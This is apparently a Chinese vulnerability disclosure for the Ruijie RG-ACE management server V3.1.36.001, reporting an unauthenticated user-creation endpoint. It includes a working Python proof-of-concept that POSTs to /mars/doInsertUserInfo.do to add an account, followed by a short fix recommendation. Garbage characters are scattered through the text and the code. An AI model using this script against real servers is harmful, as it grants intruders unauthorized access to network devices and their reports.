锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）


测试的具体版本是
产品名称: 锐捷应用控制引擎
版本号: 3.1.36.001 TC
( o4 X8 G" B; I# a编译时间: 201104291730

' A7 i; c6 [5 |
4 I* `3 V4 }- M8 Y. W5 v2 e漏洞证明：
: o3 H1 |1 q6 y/ y1 d& w& e! ~
4 p2 W- l8 v$ r: g, u4 c/ A

  e% N: r. Q4 G/ Z+ {, e

( E6 P" O) I( K0 d6 o
- k0 |- U, d% ~$ o' d执行脚本
3 O* X. B! Q. ^7 s( Z( j#! /usr/bin/env python
, R! ~, {5 M/ A% }; @1 P- r- Q#coding=gbk
#RG-ACE管理服务器 V3.1.36.001
import urllib2, urllib,cookielib
( }: k+ g- q6 r0 a2 P; Jurl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
) ?( I% j  F) B/ \8 |& sopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
1 Y/ P7 o$ |$ t' E; Jopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
post=(("event","userManager.doInsertUserInfo"),
("useractionname","addButtonValue"),
& l8 V8 U6 O5 q, a. Y; q("useropermanager","userManager"),
1 u+ v8 o  _9 m) r("userName","t"), #######账号自己加
("pwd","aaaaaa"),######密码自己加
("trueName","ad"),
( b  @: `  _' E0 e5 ~("email",""),
% L+ X- U* |3 E("mobilePhone",""),
5 G& O; u; c3 |/ v("officePhone",""),
  _" e8 S/ r  `5 Y* H( t, y. ]("addr",""),
("submit","确定"))
4 _- ^7 Q6 |0 {: r" s% _- Surllib2.install_opener(opener)
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"

登录，连接设备
3 A) ~+ L, D% P7 ?8 i( D
) ]( X: k$ G( k8 x
) Y; H1 ~' g7 S- i0 L

/ ~& P( m' x$ O; Z* a" k, U
! l) C( D, m. v$ f) @  x默认的管理员admin权限更大点

3 c3 V) m0 ~! J9 M5 ]/ e
5 A% ~9 F0 E' d. m8 ~0 V7 Y- ]
, K" u: E+ v& L1 [' R+ |3 F( |

: J: c& `$ e& n  }修复方案：
加强对接口的权限验证
5 R6 v4 r7 v- O